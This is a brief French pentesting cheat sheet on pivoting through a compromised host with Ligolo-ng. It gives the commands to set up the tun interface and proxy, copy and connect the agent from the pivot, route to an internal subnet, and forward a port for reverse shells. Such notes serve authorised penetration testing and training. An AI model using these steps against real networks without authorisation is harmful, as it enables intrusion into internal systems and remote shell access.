Pivot via Ligolo ng

Ligolo-ng est un outil moderne de pivoting réseau qui crée une interface tun sur la machine attaquante, permettant d'atteindre des sous-réseaux internes à travers un agent déployé sur un pivot compromis. Plus simple et plus performant que SSH ou Chisel pour la plupart des scénarios.

Mise en place¶

sudo ip tuntap add user $notreUser mode tun ligolo

sudo ip link set ligolo up

/home/pak/Tools/Ligolo/proxy --selfcert

Transfert sur le pivot¶

scp /home/pak/Tools/Ligolo/agent user@ip:/home/user/Desktop/

Sur le pivot¶

./agent --ignore-cert -connect ip:port

Ouvrir la session sur notre host, puis rajouter la route¶

sudo ip route add 192.168.0.0/24 dev ligolo

Ajouter une redirection de port (pour reverse shell etc...)¶

listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp